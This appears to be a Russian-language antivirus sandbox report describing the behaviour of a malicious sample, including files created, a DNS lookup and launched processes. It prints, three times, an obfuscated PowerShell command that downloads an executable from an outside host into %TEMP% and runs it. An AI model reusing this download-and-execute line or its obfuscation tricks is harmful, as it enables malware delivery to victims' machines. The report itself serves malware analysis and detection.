Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -c $sdtisadqqw=('%TEMP%\hulas.exe');(N^ew-Obj^ect net.^Webclient).('Down'+'loadfi'+'le').invoke('ht'+'tp://13b29.top/madonna/',$sdtisadqqw);Invoke-Item($sdtisadqqw)
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1920
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\1335914.cvr
Сетевая активность
UDP
- DNS ASK 13##9.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -c $sdtisadqqw=('%TEMP%\hulas.exe');(N^ew-Obj^ect net.^Webclient).('Down'+'loadfi'+'le').invoke('ht'+'tp://13b29.top/madonna/',$sdtisadqqw);Invoke-Item($sdtisadqqw)' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c $sdtisadqqw=('%TEMP%\hulas.exe');(New-Object net.Webclient).('Down'+'loadfi'+'le').invoke('ht'+'tp://13b29.top/madonna/',$sdtisadqqw);Invoke-Item($sdtisadqqw)
